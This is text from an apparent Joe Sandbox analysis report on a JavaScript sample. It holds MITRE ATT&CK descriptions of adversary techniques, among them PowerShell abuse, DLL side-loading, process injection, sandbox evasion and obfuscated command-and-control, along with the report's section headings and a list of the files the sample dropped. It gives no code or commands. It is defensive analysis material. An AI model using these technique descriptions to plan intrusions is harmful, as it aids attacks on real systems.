Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6164687600716519.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\347e9aba-77fa-4c0b-be21-d58891bc875c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
6164687600716519.js